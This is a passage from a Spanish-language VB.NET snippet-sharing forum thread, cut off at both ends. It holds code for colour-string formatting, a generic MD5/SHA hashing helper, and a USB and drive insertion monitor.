  202.        ''' <param name="syntax">
  203.        ''' The color-string syntax.
  204.        ''' </param>
  205.        ''' ----------------------------------------------------------------------------------------------------
  206.        ''' <returns>
  207.        ''' The numeric string representation.
  208.        ''' </returns>
  209.        ''' ----------------------------------------------------------------------------------------------------
  210.        ''' <exception cref="InvalidEnumArgumentException">
  211.        ''' syntax
  212.        ''' </exception>
  213.        ''' ----------------------------------------------------------------------------------------------------
  214.        <DebuggerStepThrough>
  215.        Private Function GetNumericString(ByVal syntax As ColorStringSyntax) As String
  216.  
  217.            Dim byteString As String =
  218.                String.Format("{0}, {1}, {2}, {3}",
  219.                              Convert.ToString(Me.colorB.A),
  220.                              Convert.ToString(Me.colorB.R),
  221.                              Convert.ToString(Me.colorB.G),
  222.                              Convert.ToString(Me.colorB.B))
  223.  
  224.            Select Case syntax
  225.  
  226.                Case ColorString.ColorStringSyntax.Standard
  227.                    Return byteString
  228.  
  229.                Case ColorString.ColorStringSyntax.CSharp
  230.                    Return String.Format("Color.FromArgb({0});", byteString)
  231.  
  232.                Case ColorString.ColorStringSyntax.VbNet
  233.                    Return String.Format("Color.FromArgb({0})", byteString)
  234.  
  235.                Case ColorString.ColorStringSyntax.VisualStudioPropertyGrid
  236.                    Return byteString.Replace(",", ";")
  237.  
  238.                Case Else
  239.                    Throw New InvalidEnumArgumentException("syntax", syntax, GetType(ColorStringSyntax))
  240.  
  241.            End Select
  242.  
  243.        End Function
  244.  
  245.        ''' ----------------------------------------------------------------------------------------------------
  246.        ''' <summary>
  247.        ''' Gets the numeric string representation of a <see cref="Color"/>, in the specified <see cref="ColorStringSyntax"/> syntax.
  248.        ''' </summary>
  249.        ''' ----------------------------------------------------------------------------------------------------
  250.        ''' <param name="syntax">
  251.        ''' The color-string syntax.
  252.        ''' </param>
  253.        ''' ----------------------------------------------------------------------------------------------------
  254.        ''' <returns>
  255.        ''' The numeric string representation.
  256.        ''' </returns>
  257.        ''' ----------------------------------------------------------------------------------------------------
  258.        ''' <exception cref="InvalidEnumArgumentException">
  259.        ''' syntax
  260.        ''' </exception>
  261.        ''' ----------------------------------------------------------------------------------------------------
  262.        <DebuggerStepThrough>
  263.        Private Function GetHexadecimalString(ByVal syntax As ColorStringSyntax) As String
  264.  
  265.            Dim a As String = Convert.ToString(Me.colorB.A, 16).ToUpper
  266.            Dim r As String = Convert.ToString(Me.colorB.R, 16).ToUpper
  267.            Dim g As String = Convert.ToString(Me.colorB.G, 16).ToUpper
  268.            Dim b As String = Convert.ToString(Me.colorB.B, 16).ToUpper
  269.  
  270.            Select Case syntax
  271.  
  272.                Case ColorString.ColorStringSyntax.Standard
  273.                    Return String.Format("{0}{1}{2}{3}", a, r, g, b)
  274.  
  275.                Case ColorString.ColorStringSyntax.CSharp
  276.                    Return String.Format("Color.FromArgb(0x{0}, 0x{1}, 0x{2}, 0x{3});", a, r, g, b)
  277.  
  278.                Case ColorString.ColorStringSyntax.VbNet
  279.                    Return String.Format("Color.FromArgb(&H{0}, &H{1}, &H{2}, &H{3})", a, r, g, b)
  280.  
  281.                Case ColorString.ColorStringSyntax.VisualStudioPropertyGrid
  282.                    Return String.Format("0x{0}{1}{2}{3}", a, r, g, b)
  283.  
  284.                Case Else
  285.                    Throw New InvalidEnumArgumentException("syntax", syntax, GetType(ColorStringSyntax))
  286.  
  287.            End Select
  288.  
  289.        End Function
  290.  
  291.        ''' ----------------------------------------------------------------------------------------------------
  292.        ''' <summary>
  293.        ''' Gets the Web string representation of a <see cref="Color"/>, in the specified <see cref="ColorStringSyntax"/> syntax.
  294.        ''' </summary>
  295.        ''' ----------------------------------------------------------------------------------------------------
  296.        ''' <param name="syntax">
  297.        ''' The color-string syntax.
  298.        ''' </param>
  299.        ''' ----------------------------------------------------------------------------------------------------
  300.        ''' <returns>
  301.        ''' The Web string representation.
  302.        ''' </returns>
  303.        ''' ----------------------------------------------------------------------------------------------------
  304.        ''' <exception cref="InvalidEnumArgumentException">
  305.        ''' syntax
  306.        ''' </exception>
  307.        ''' ----------------------------------------------------------------------------------------------------
  308.        <DebuggerStepThrough>
  309.        Private Function GetWebString(ByVal syntax As ColorStringSyntax) As String
  310.  
  311.            Dim htmlString As String = ColorTranslator.ToHtml(Color)
  312.  
  313.            Select Case syntax
  314.  
  315.                Case ColorString.ColorStringSyntax.Standard
  316.                    Return htmlString
  317.  
  318.                Case ColorString.ColorStringSyntax.CSharp
  319.                    Return String.Format("ColorTranslator.FromHtml(""{0}"");", htmlString)
  320.  
  321.                Case ColorString.ColorStringSyntax.VbNet
  322.                    Return String.Format("ColorTranslator.FromHtml(""{0}"")", htmlString)
  323.  
  324.                Case ColorString.ColorStringSyntax.VisualStudioPropertyGrid
  325.                    Return htmlString
  326.  
  327.                Case Else
  328.                    Throw New InvalidEnumArgumentException("syntax", syntax, GetType(ColorStringSyntax))
  329.  
  330.            End Select
  331.  
  332.        End Function
  333.  
  334. #End Region
  335.  
  336. #Region " Public Methods "
  337.  
  338.        ''' ----------------------------------------------------------------------------------------------------
  339.        ''' <summary>
  340.        ''' Performs an implicit conversion from <see cref="ColorString"/> to <see cref="Color"/>.
  341.        ''' </summary>
  342.        ''' ----------------------------------------------------------------------------------------------------
  343.        ''' <param name="colorString">
  344.        ''' The <see cref="ColorString"/>.
  345.        ''' </param>
  346.        ''' ----------------------------------------------------------------------------------------------------
  347.        ''' <returns>
  348.        ''' The resulting <see cref="Color"/> of the conversion.
  349.        ''' </returns>
  350.        ''' ----------------------------------------------------------------------------------------------------
  351.        Public Shared Widening Operator CType(ByVal colorString As ColorString) As Color
  352.  
  353.            Return Drawing.Color.FromArgb(colorString.Color.R, colorString.Color.G, colorString.Color.B)
  354.  
  355.        End Operator
  356.  
  357.        ''' ----------------------------------------------------------------------------------------------------
  358.        ''' <summary>
  359.        ''' Performs an implicit conversion from <see cref="Color"/> to <see cref="ColorString"/>.
  360.        ''' </summary>
  361.        ''' ----------------------------------------------------------------------------------------------------
  362.        ''' <param name="color">
  363.        ''' The <see cref="Color"/>.
  364.        ''' </param>
  365.        ''' ----------------------------------------------------------------------------------------------------
  366.        ''' <returns>
  367.        ''' The resulting <see cref="ColorString"/> of the conversion.
  368.        ''' </returns>
  369.        ''' ----------------------------------------------------------------------------------------------------
  370.        Public Shared Narrowing Operator CType(ByVal color As Color) As ColorString
  371.  
  372.            Return New ColorString(color)
  373.  
  374.        End Operator
  375.  
  376.        ''' ----------------------------------------------------------------------------------------------------
  377.        ''' <summary>
  378.        ''' Implements the operator =.
  379.        ''' </summary>
  380.        ''' ----------------------------------------------------------------------------------------------------
  381.        ''' <param name="colorString1">
  382.        ''' The first <see cref="ColorString"/> to evaluate.
  383.        ''' </param>
  384.        '''
  385.        ''' <param name="colorString2">
  386.        ''' The second <see cref="ColorString"/> to evaluate.
  387.        ''' </param>
  388.        ''' ----------------------------------------------------------------------------------------------------
  389.        ''' <returns>
  390.        ''' The result of the operator.
  391.        ''' </returns>
  392.        ''' ----------------------------------------------------------------------------------------------------
  393.        Public Shared Operator =(ByVal colorString1 As ColorString,
  394.                                 ByVal colorString2 As ColorString) As Boolean
  395.  
  396.            Return colorString1.Equals(colorString2)
  397.  
  398.        End Operator
  399.  
  400.        ''' ----------------------------------------------------------------------------------------------------
  401.        ''' <summary>
  402.        ''' Implements the operator &lt;&gt;.
  403.        ''' </summary>
  404.        ''' ----------------------------------------------------------------------------------------------------
  405.        ''' <param name="colorString1">
  406.        ''' The first <see cref="ColorString"/> to evaluate.
  407.        ''' </param>
  408.        '''
  409.        ''' <param name="colorString2">
  410.        ''' The second <see cref="ColorString"/> to evaluate.
  411.        ''' </param>
  412.        ''' ----------------------------------------------------------------------------------------------------
  413.        ''' <returns>
  414.        ''' The result of the operator.
  415.        ''' </returns>
  416.        ''' ----------------------------------------------------------------------------------------------------
  417.        Public Shared Operator <>(ByVal colorString1 As ColorString,
  418.                                  ByVal colorString2 As ColorString) As Boolean
  419.  
  420.            Return Not colorString1.Equals(colorString2)
  421.  
  422.        End Operator
  423.  
  424.        ''' ----------------------------------------------------------------------------------------------------
  425.        ''' <summary>
  426.        ''' Determines whether the specified <see cref="System.Object"/> is equal to this instance.
  427.        ''' </summary>
  428.        ''' ----------------------------------------------------------------------------------------------------
  429.        ''' <param name="obj">
  430.        ''' Another object to compare to.
  431.        ''' </param>
  432.        ''' ----------------------------------------------------------------------------------------------------
  433.        ''' <returns>
  434.        ''' <see langword="True"/> if the specified <see cref="System.Object"/> is equal to this instance; otherwise, <see langword="False"/>.
  435.        ''' </returns>
  436.        ''' ----------------------------------------------------------------------------------------------------
  437.        Public Overrides Function Equals(ByVal obj As Object) As Boolean
  438.  
  439.            If (TypeOf obj Is ColorString) Then
  440.                Return Me.Equals(DirectCast(obj, ColorString))
  441.  
  442.            ElseIf (TypeOf obj Is Color) Then
  443.                Return Me.Equals(New ColorString(DirectCast(obj, Color)))
  444.  
  445.            Else
  446.                Return False
  447.  
  448.            End If
  449.  
  450.        End Function
  451.  
  452.        ''' ----------------------------------------------------------------------------------------------------
  453.        ''' <summary>
  454.        ''' Determines whether the specified <see cref="ColorString"/> is equal to this instance.
  455.        ''' </summary>
  456.        ''' ----------------------------------------------------------------------------------------------------
  457.        ''' <param name="colorString">
  458.        ''' Another <see cref="ColorString"/> to compare to.
  459.        ''' </param>
  460.        ''' ----------------------------------------------------------------------------------------------------
  461.        ''' <returns>
  462.        ''' <see langword="True"/> if the specified <see cref="ColorString"/> is equal to this instance; otherwise, <see langword="False"/>.
  463.        ''' </returns>
  464.        ''' ----------------------------------------------------------------------------------------------------
  465.        Public Overloads Function Equals(ByVal colorString As ColorString) As Boolean
  466.  
  467.            Return (colorString.Color.ToArgb = Me.colorB.ToArgb)
  468.  
  469.        End Function
  470.  
  471.        ''' ----------------------------------------------------------------------------------------------------
  472.        ''' <summary>
  473.        ''' Returns a hash code for this instance.
  474.        ''' </summary>
  475.        ''' ----------------------------------------------------------------------------------------------------
  476.        ''' <returns>
  477.        ''' A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table.
  478.        ''' </returns>
  479.        ''' ----------------------------------------------------------------------------------------------------
  480.        Public Overrides Function GetHashCode() As Integer
  481.  
  482.            Return Me.colorB.GetHashCode()
  483.  
  484.        End Function
  485.  
  486.        ''' ----------------------------------------------------------------------------------------------------
  487.        ''' <summary>
  488.        ''' Returns a <see cref="System.String"/> that represents this instance.
  489.        ''' </summary>
  490.        ''' ----------------------------------------------------------------------------------------------------
  491.        ''' <returns>
  492.        ''' A <see cref="System.String"/> that represents this instance.
  493.        ''' </returns>
  494.        ''' ----------------------------------------------------------------------------------------------------
  495.        Public Overrides Function ToString() As String
  496.  
  497.            Return String.Format(CultureInfo.CurrentCulture, "{{A={0}, R={1}, G={2}, B={3}}}",
  498.                                 Me.colorB.A, Me.colorB.R, Me.colorB.G, Me.colorB.B)
  499.  
  500.        End Function
  501.  
  502. #End Region
  503.  
  504.    End Structure


Título: Re: Librería de Snippets para VB.Net !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 9 Noviembre 2015, 15:28 pm
He ideado esta sencilla y genérica manera de reunir en una misma función la posibilidad de utilizar varios algoritmos para computar el hash de un archivo o de un string.

Ejemplo de uso:

Código
  1. Dim md5 As String = CryptoUtil.ComputeHashOfString(Of MD5CryptoServiceProvider)("Hello World!")
  2. Dim sha1 As String = CryptoUtil.ComputeHashOfString(Of SHA1CryptoServiceProvider)("Hello World!")
  3. Dim sha256 As String = CryptoUtil.ComputeHashOfString(Of SHA256CryptoServiceProvider)("Hello World!")
  4. Dim sha384 As String = CryptoUtil.ComputeHashOfString(Of SHA384CryptoServiceProvider)("Hello World!")
  5. Dim sha512 As String = CryptoUtil.ComputeHashOfString(Of SHA512CryptoServiceProvider)("Hello World!")

Código
  1. Dim md5 As String = CryptoUtil.ComputeHashOfFile(Of MD5CryptoServiceProvider)("C:\File.ext")
  2. Dim sha1 As String = CryptoUtil.ComputeHashOfFile(Of SHA1CryptoServiceProvider)("C:\File.ext")
  3. Dim sha256 As String = CryptoUtil.ComputeHashOfFile(Of SHA256CryptoServiceProvider)("C:\File.ext")
  4. Dim sha384 As String = CryptoUtil.ComputeHashOfFile(Of SHA384CryptoServiceProvider)("C:\File.ext")
  5. Dim sha512 As String = CryptoUtil.ComputeHashOfFile(Of SHA512CryptoServiceProvider)("C:\File.ext")

Código fuente:
Código
  1. ''' ----------------------------------------------------------------------------------------------------
  2. ''' <summary>
  3. ''' Computes the hash, using the given hash algorithm, for the specified string.
  4. ''' </summary>
  5. ''' ----------------------------------------------------------------------------------------------------
  6. ''' <example> This is a code example.
  7. ''' <code>
  8. ''' Dim md5 As String = CryptoUtil.ComputeHashOfString(Of MD5CryptoServiceProvider)("Hello World!")
  9. ''' Dim sha1 As String = CryptoUtil.ComputeHashOfString(Of SHA1CryptoServiceProvider)("Hello World!")
  10. ''' Dim sha256 As String = CryptoUtil.ComputeHashOfString(Of SHA256CryptoServiceProvider)("Hello World!")
  11. ''' Dim sha384 As String = CryptoUtil.ComputeHashOfString(Of SHA384CryptoServiceProvider)("Hello World!")
  12. ''' Dim sha512 As String = CryptoUtil.ComputeHashOfString(Of SHA512CryptoServiceProvider)("Hello World!")
  13. ''' </code>
  14. ''' </example>
  15. ''' ----------------------------------------------------------------------------------------------------
  16. ''' <typeparam name="T">
  17. ''' The <see cref="HashAlgorithm"/> provider.
  18. ''' </typeparam>
  19. '''
  20. ''' <param name="str">
  21. ''' The string.
  22. ''' </param>
  23. '''
  24. ''' <param name="enc">
  25. ''' The text <see cref="Encoding"/>.
  26. ''' </param>
  27. ''' ----------------------------------------------------------------------------------------------------
  28. ''' <returns>
  29. ''' An Hexadecimal representation of the resulting hash value.
  30. ''' </returns>
  31. ''' ----------------------------------------------------------------------------------------------------
  32. <DebuggerStepThrough>
  33. Public Function ComputeHashOfString(Of T As HashAlgorithm)(ByVal str As String,
  34.                                                           Optional ByVal enc As Encoding = Nothing) As String
  35.  
  36.    If (enc Is Nothing) Then
  37.        enc = Encoding.Default
  38.    End If
  39.  
  40.    Using algorithm As HashAlgorithm = DirectCast(Activator.CreateInstance(GetType(T)), HashAlgorithm)
  41.  
  42.        Dim data As Byte() = enc.GetBytes(str)
  43.        Dim hash As Byte() = algorithm.ComputeHash(data)
  44.        Dim sb As New StringBuilder(capacity:=hash.Length * 2)
  45.  
  46.        For Each b As Byte In hash
  47.            sb.Append(b.ToString("X2"))
  48.        Next
  49.  
  50.        Return sb.ToString
  51.  
  52.    End Using
  53.  
  54. End Function
  55.  
  56. ''' ----------------------------------------------------------------------------------------------------
  57. ''' <summary>
  58. ''' Computes the hash, using the given hash algorithm, for the specified file.
  59. ''' </summary>
  60. ''' ----------------------------------------------------------------------------------------------------
  61. ''' <example> This is a code example.
  62. ''' <code>
  63. ''' Dim md5 As String = CryptoUtil.ComputeHashOfFile(Of MD5CryptoServiceProvider)("C:\File.ext")
  64. ''' Dim sha1 As String = CryptoUtil.ComputeHashOfFile(Of SHA1CryptoServiceProvider)("C:\File.ext")
  65. ''' Dim sha256 As String = CryptoUtil.ComputeHashOfFile(Of SHA256CryptoServiceProvider)("C:\File.ext")
  66. ''' Dim sha384 As String = CryptoUtil.ComputeHashOfFile(Of SHA384CryptoServiceProvider)("C:\File.ext")
  67. ''' Dim sha512 As String = CryptoUtil.ComputeHashOfFile(Of SHA512CryptoServiceProvider)("C:\File.ext")
  68. ''' </code>
  69. ''' </example>
  70. ''' ----------------------------------------------------------------------------------------------------
  71. ''' <typeparam name="T">
  72. ''' The <see cref="HashAlgorithm"/> provider.
  73. ''' </typeparam>
  74. '''
  75. ''' <param name="filepath">
  76. ''' The filepath.
  77. ''' </param>
  78. ''' ----------------------------------------------------------------------------------------------------
  79. ''' <returns>
  80. ''' An Hexadecimal representation of the resulting hash value.
  81. ''' </returns>
  82. ''' ----------------------------------------------------------------------------------------------------
  83. <DebuggerStepThrough>
  84. Public Function ComputeHashOfFile(Of T As HashAlgorithm)(ByVal filepath As String) As String
  85.  
  86.    Using fs As New FileStream(filepath, FileMode.Open, FileAccess.Read, FileShare.Read)
  87.  
  88.        Using algorithm As HashAlgorithm = DirectCast(Activator.CreateInstance(GetType(T)), HashAlgorithm)
  89.  
  90.            Dim hash As Byte() = algorithm.ComputeHash(fs)
  91.            Dim sb As New StringBuilder(capacity:=hash.Length * 2)
  92.  
  93.            For Each b As Byte In hash
  94.                sb.Append(b.ToString("X2"))
  95.            Next b
  96.  
  97.            Return sb.ToString
  98.  
  99.        End Using
  100.  
  101.    End Using
  102.  
  103. End Function


Título: Re: Librería de Snippets para VB.Net !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 11 Noviembre 2015, 08:25 am
Un snippet para monitorizar la inserción y extracción de dispositivos de almacenamiento (USB, discos duros, etc).

Ejemplo de uso:
Código
  1.    Friend WithEvents DriveMon As New DriveWatcher
  2.  
  3.    ''' ----------------------------------------------------------------------------------------------------
  4.    ''' <summary>
  5.    ''' Handles the <see cref="DriveWatcher.DriveStatusChanged"/> event of the <see cref="DriveMon"/> instance.
  6.    ''' </summary>
  7.    ''' ----------------------------------------------------------------------------------------------------
  8.    ''' <param name="sender">
  9.    ''' The source of the event.
  10.    ''' </param>
  11.    '''
  12.    ''' <param name="e">
  13.    ''' The <see cref="DriveWatcher.DriveStatusChangedEventArgs"/> instance containing the event data.
  14.    ''' </param>
  15.    ''' ----------------------------------------------------------------------------------------------------
  16.    Private Sub DriveMon_DriveStatusChanged(ByVal sender As Object, ByVal e As DriveWatcher.DriveStatusChangedEventArgs) _
  17.    Handles DriveMon.DriveStatusChanged
  18.  
  19.        Select Case e.DeviceEvent
  20.  
  21.            Case DriveWatcher.DeviceEvents.Arrival
  22.                Dim sb As New StringBuilder
  23.                sb.AppendLine("New drive connected...'")
  24.                sb.AppendLine(String.Format("Type......: {0}", e.DriveInfo.DriveType.ToString))
  25.                sb.AppendLine(String.Format("Label.....: {0}", e.DriveInfo.VolumeLabel))
  26.                sb.AppendLine(String.Format("Name......: {0}", e.DriveInfo.Name))
  27.                sb.AppendLine(String.Format("Root......: {0}", e.DriveInfo.RootDirectory))
  28.                sb.AppendLine(String.Format("FileSystem: {0}", e.DriveInfo.DriveFormat))
  29.                sb.AppendLine(String.Format("Size......: {0} GB", (e.DriveInfo.TotalSize / (1024 ^ 3)).ToString("n1")))
  30.                sb.AppendLine(String.Format("Free space: {0} GB", (e.DriveInfo.AvailableFreeSpace / (1024 ^ 3)).ToString("n1")))
  31.                Console.WriteLine(sb.ToString)
  32.  
  33.            Case DriveWatcher.DeviceEvents.RemoveComplete
  34.                Dim sb As New StringBuilder
  35.                sb.AppendLine("Drive disconnected...'")
  36.                sb.AppendLine(String.Format("Name: {0}", e.DriveInfo.Name))
  37.                sb.AppendLine(String.Format("Root: {0}", e.DriveInfo.RootDirectory))
  38.                Console.WriteLine(sb.ToString)
  39.  
  40.        End Select
  41.  
  42.    End Sub
  43.  
  44.    Private Sub StartMon_Click(ByVal sender As Object, ByVal e As EventArgs) _
  45.    Handles Button_StartMon.Click
  46.  
  47.        Me.DriveMon.Start()
  48.  
  49.    End Sub
  50.  
  51.    Private Sub StopMon_Click(ByVal sender As Object, ByVal e As EventArgs) _
  52.    Handles Button_StopMon.Click
  53.  
  54.        Me.DriveMon.Stop()
  55.  
  56.    End Sub

Código fuente:
Código
  1. ' ***********************************************************************
  2. ' Author   : Elektro
  3. ' Modified : 11-November-2015
  4. ' ***********************************************************************
  5. ' <copyright file="DriveWatcher.vb" company="Elektro Studios">
  6. '     Copyright (c) Elektro Studios. All rights reserved.
  7. ' </copyright>
  8. ' ***********************************************************************
  9.  
  10. ''' ----------------------------------------------------------------------------------------------------
  11. ''' <summary>
  12. ''' A device insertion and removal monitor.
  13. ''' </summary>
  14. ''' ----------------------------------------------------------------------------------------------------
  15. Public Class DriveWatcher : Inherits NativeWindow : Implements IDisposable
  16.  
  17. #Region " Properties "
  18.  
  19.    ''' ----------------------------------------------------------------------------------------------------
  20.    ''' <summary>
  21.    ''' Gets the connected drives on this computer.
  22.    ''' </summary>
  23.    ''' ----------------------------------------------------------------------------------------------------
  24.    Public ReadOnly Property Drives As IEnumerable(Of DriveInfo)
  25.        <DebuggerStepThrough>
  26.        Get
  27.            Return DriveInfo.GetDrives
  28.        End Get
  29.    End Property
  30.  
  31.    ''' ----------------------------------------------------------------------------------------------------
  32.    ''' <summary>
  33.    ''' Gets a value that determines whether the monitor is running.
  34.    ''' </summary>
  35.    ''' ----------------------------------------------------------------------------------------------------
  36.    Public ReadOnly Property IsRunning As Boolean
  37.        <DebuggerStepThrough>
  38.        Get
  39.            Return Me.isRunningB
  40.        End Get
  41.    End Property
  42.    Private isRunningB As Boolean
  43.  
  44. #End Region
  45.  
  46. #Region " Events "
  47.  
  48.    ''' ----------------------------------------------------------------------------------------------------
  49.    ''' <summary>
  50.    ''' A list of event delegates.
  51.    ''' </summary>
  52.    ''' ----------------------------------------------------------------------------------------------------
  53.    Private ReadOnly events As EventHandlerList
  54.  
  55.    ''' ----------------------------------------------------------------------------------------------------
  56.    ''' <summary>
  57.    ''' Occurs when a drive is inserted, removed, or changed.
  58.    ''' </summary>
  59.    ''' ----------------------------------------------------------------------------------------------------
  60.    Public Custom Event DriveStatusChanged As EventHandler(Of DriveStatusChangedEventArgs)
  61.  
  62.        <DebuggerNonUserCode>
  63.        <DebuggerStepThrough>
  64.        AddHandler(ByVal value As EventHandler(Of DriveStatusChangedEventArgs))
  65.            Me.events.AddHandler("DriveStatusChangedEvent", value)
  66.        End AddHandler
  67.  
  68.        <DebuggerNonUserCode>
  69.        <DebuggerStepThrough>
  70.        RemoveHandler(ByVal value As EventHandler(Of DriveStatusChangedEventArgs))
  71.            Me.events.RemoveHandler("DriveStatusChangedEvent", value)
  72.        End RemoveHandler
  73.  
  74.        <DebuggerNonUserCode>
  75.        <DebuggerStepThrough>
  76.        RaiseEvent(ByVal sender As Object, ByVal e As DriveStatusChangedEventArgs)
  77.            Dim handler As EventHandler(Of DriveStatusChangedEventArgs) =
  78.                DirectCast(Me.events("DriveStatusChangedEvent"), EventHandler(Of DriveStatusChangedEventArgs))
  79.  
  80.            If (handler IsNot Nothing) Then
  81.                handler.Invoke(sender, e)
  82.            End If
  83.        End RaiseEvent
  84.  
  85.    End Event
  86.  
  87. #End Region
  88.  
  89. #Region " Events Data "
  90.  
  91. #Region " DriveStatusChangedEventArgs "
  92.  
  93.    ''' ----------------------------------------------------------------------------------------------------
  94.    ''' <summary>
  95.    ''' Contains the event-data of a <see cref="DriveStatusChanged"/> event.
  96.    ''' </summary>
  97.    ''' ----------------------------------------------------------------------------------------------------
  98.    Public NotInheritable Class DriveStatusChangedEventArgs : Inherits EventArgs
  99.  
  100. #Region " Properties "
  101.  
  102.        ''' ----------------------------------------------------------------------------------------------------
  103.        ''' <summary>
  104.        ''' Gets the device event that occurred.
  105.        ''' </summary>
  106.        ''' ----------------------------------------------------------------------------------------------------
  107.        ''' <value>
  108.        ''' The drive info.
  109.        ''' </value>
  110.        ''' ----------------------------------------------------------------------------------------------------
  111.        Public ReadOnly Property DeviceEvent As DeviceEvents
  112.            <DebuggerStepThrough>
  113.            Get
  114.                Return Me.deviceEventsB
  115.            End Get
  116.        End Property
  117.        ''' ----------------------------------------------------------------------------------------------------
  118.        ''' <summary>
  119.        ''' ( Backing field )
  120.        ''' The device event that occurred.
  121.        ''' </summary>
  122.        ''' ----------------------------------------------------------------------------------------------------
  123.        Private ReadOnly deviceEventsB As DeviceEvents
  124.  
  125.        ''' ----------------------------------------------------------------------------------------------------
  126.        ''' <summary>
  127.        ''' Gets the drive info.
  128.        ''' </summary>
  129.        ''' ----------------------------------------------------------------------------------------------------
  130.        ''' <value>
  131.        ''' The drive info.
  132.        ''' </value>
  133.        ''' ----------------------------------------------------------------------------------------------------
  134.        Public ReadOnly Property DriveInfo As DriveInfo
  135.            <DebuggerStepThrough>
  136.            Get
  137.                Return Me.driveInfoB
  138.            End Get
  139.        End Property
  140.        ''' ----------------------------------------------------------------------------------------------------
  141.        ''' <summary>
  142.        ''' ( Backing field )
  143.        ''' The drive info.
  144.        ''' </summary>
  145.        ''' ----------------------------------------------------------------------------------------------------
  146.        Private ReadOnly driveInfoB As DriveInfo
  147.  
  148. #End Region
  149.  
  150. #Region " Constructors "
  151.  
  152.        ''' ----------------------------------------------------------------------------------------------------
  153.        ''' <summary>
  154.        ''' Prevents a default instance of the <see cref="DriveStatusChangedEventArgs"/> class from being created.
  155.        ''' </summary>
  156.        ''' ----------------------------------------------------------------------------------------------------
  157.        <DebuggerNonUserCode>
  158.        Private Sub New()
  159.        End Sub
  160.  
  161.        ''' ----------------------------------------------------------------------------------------------------
  162.        ''' <summary>
  163.        ''' Initializes a new instance of the <see cref="DriveStatusChangedEventArgs"/> class.
  164.        ''' </summary>
  165.        ''' ----------------------------------------------------------------------------------------------------
  166.        ''' <param name="driveInfo">
  167.        ''' The drive info.
  168.        ''' </param>
  169.        ''' ----------------------------------------------------------------------------------------------------
  170.        <DebuggerStepThrough>
  171.        Public Sub New(ByVal deviceEvent As DeviceEvents, ByVal driveInfo As DriveInfo)
  172.  
  173.            Me.deviceEventsB = deviceEvent
  174.            Me.driveInfoB = driveInfo
  175.  
  176.        End Sub
  177.  
  178. #End Region
  179.  
  180.    End Class
  181.  
  182. #End Region
  183.  
  184. #End Region
  185.  
  186. #Region " Event Invocators "
  187.  
  188.    ''' ----------------------------------------------------------------------------------------------------
  189.    ''' <summary>
  190.    ''' Raises <see cref="DriveStatusChanged"/> event.
  191.    ''' </summary>
  192.    ''' ----------------------------------------------------------------------------------------------------
  193.    ''' <param name="e">
  194.    ''' The <see cref="DriveStatusChangedEventArgs"/> instance containing the event data.
  195.    ''' </param>
  196.    ''' ----------------------------------------------------------------------------------------------------
  197.    <DebuggerStepThrough>
  198.    Protected Overridable Sub OnDriveStatusChanged(ByVal e As DriveStatusChangedEventArgs)
  199.  
  200.        RaiseEvent DriveStatusChanged(Me, e)
  201.  
  202.    End Sub
  203.  
  204. #End Region
  205.  
  206. #Region " Enumerations "
  207.  
  208.    ''' ----------------------------------------------------------------------------------------------------
  209.    ''' <summary>
  210.    ''' Specifies a change to the hardware configuration of a device.
  211.    ''' </summary>
  212.    ''' ----------------------------------------------------------------------------------------------------
  213.    ''' <remarks>
  214.    ''' <see href="http://msdn.microsoft.com/en-us/library/windows/desktop/aa363480%28v=vs.85%29.aspx"/>
  215.    ''' <para></para>
  216.    ''' <see href="http://msdn.microsoft.com/en-us/library/windows/desktop/aa363232%28v=vs.85%29.aspx"/>
  217.    ''' </remarks>
  218.    ''' ----------------------------------------------------------------------------------------------------
  219.    Public Enum DeviceEvents As Integer
  220.  
  221.        ' *****************************************************************************
  222.        '                            WARNING!, NEED TO KNOW...
  223.        '
  224.        '  THIS ENUMERATION IS PARTIALLY DEFINED TO MEET THE PURPOSES OF THIS PROJECT
  225.        ' *****************************************************************************
  226.  
  227.        ''' <summary>
  228.        ''' The current configuration has changed, due to a dock or undock.
  229.        ''' </summary>
  230.        Change = &H219
  231.  
  232.        ''' <summary>
  233.        ''' A device or piece of media has been inserted and becomes available.
  234.        ''' </summary>
  235.        Arrival = &H8000
  236.  
  237.        ''' <summary>
  238.        ''' Request permission to remove a device or piece of media.
  239.        ''' <para></para>
  240.        ''' This message is the last chance for applications and drivers to prepare for this removal.
  241.        ''' However, any application can deny this request and cancel the operation.
  242.        ''' </summary>
  243.        QueryRemove = &H8001
  244.  
  245.        ''' <summary>
  246.        ''' A request to remove a device or piece of media has been canceled.
  247.        ''' </summary>
  248.        QueryRemoveFailed = &H8002
  249.  
  250.        ''' <summary>
  251.        ''' A device or piece of media is being removed and is no longer available for use.
  252.        ''' </summary>
  253.        RemovePending = &H8003
  254.  
  255.        ''' <summary>
  256.        ''' A device or piece of media has been removed.
  257.        ''' </summary>
  258.        RemoveComplete = &H8004
  259.  
  260.    End Enum
  261.  
  262.    ''' ----------------------------------------------------------------------------------------------------
  263.    ''' <summary>
  264.    ''' Specifies a computer device type.
  265.    ''' </summary>
  266.    ''' ----------------------------------------------------------------------------------------------------
  267.    ''' <remarks>
  268.    ''' <see href="https://msdn.microsoft.com/en-us/library/windows/desktop/aa363246%28v=vs.85%29.aspx"/>
  269.    ''' </remarks>
  270.    ''' ----------------------------------------------------------------------------------------------------
  271.    Private Enum DeviceType As Integer
  272.  
  273.        ' *****************************************************************************
  274.        '                            WARNING!, NEED TO KNOW...
  275.        '
  276.        '  THIS ENUMERATION IS PARTIALLY DEFINED TO MEET THE PURPOSES OF THIS PROJECT
  277.        ' *****************************************************************************
  278.  
  279.        ''' <summary>
  280.        ''' Logical volume.
  281.        ''' </summary>
  282.        Logical = &H2
  283.  
  284.    End Enum
  285.  
  286. #End Region
  287.  
  288. #Region " Types "
  289.  
  290.    ''' ----------------------------------------------------------------------------------------------------
  291.    ''' <summary>
  292.    ''' Contains information about a logical volume.
  293.    ''' </summary>
  294.    ''' ----------------------------------------------------------------------------------------------------
  295.    ''' <remarks>
  296.    ''' <see href="http://msdn.microsoft.com/en-us/library/windows/desktop/aa363249%28v=vs.85%29.aspx"/>
  297.    ''' </remarks>
  298.    ''' ----------------------------------------------------------------------------------------------------
  299.    <DebuggerStepThrough>
  300.    <StructLayout(LayoutKind.Sequential)>
  301.    Private Structure DevBroadcastVolume
  302.  
  303.        ''' ----------------------------------------------------------------------------------------------------
  304.        ''' <summary>
  305.        ''' The size of this structure, in bytes.
  306.        ''' </summary>
  307.        ''' ----------------------------------------------------------------------------------------------------
  308.        Public Size As UInteger
  309.  
  310.        ''' ----------------------------------------------------------------------------------------------------
  311.        ''' <summary>
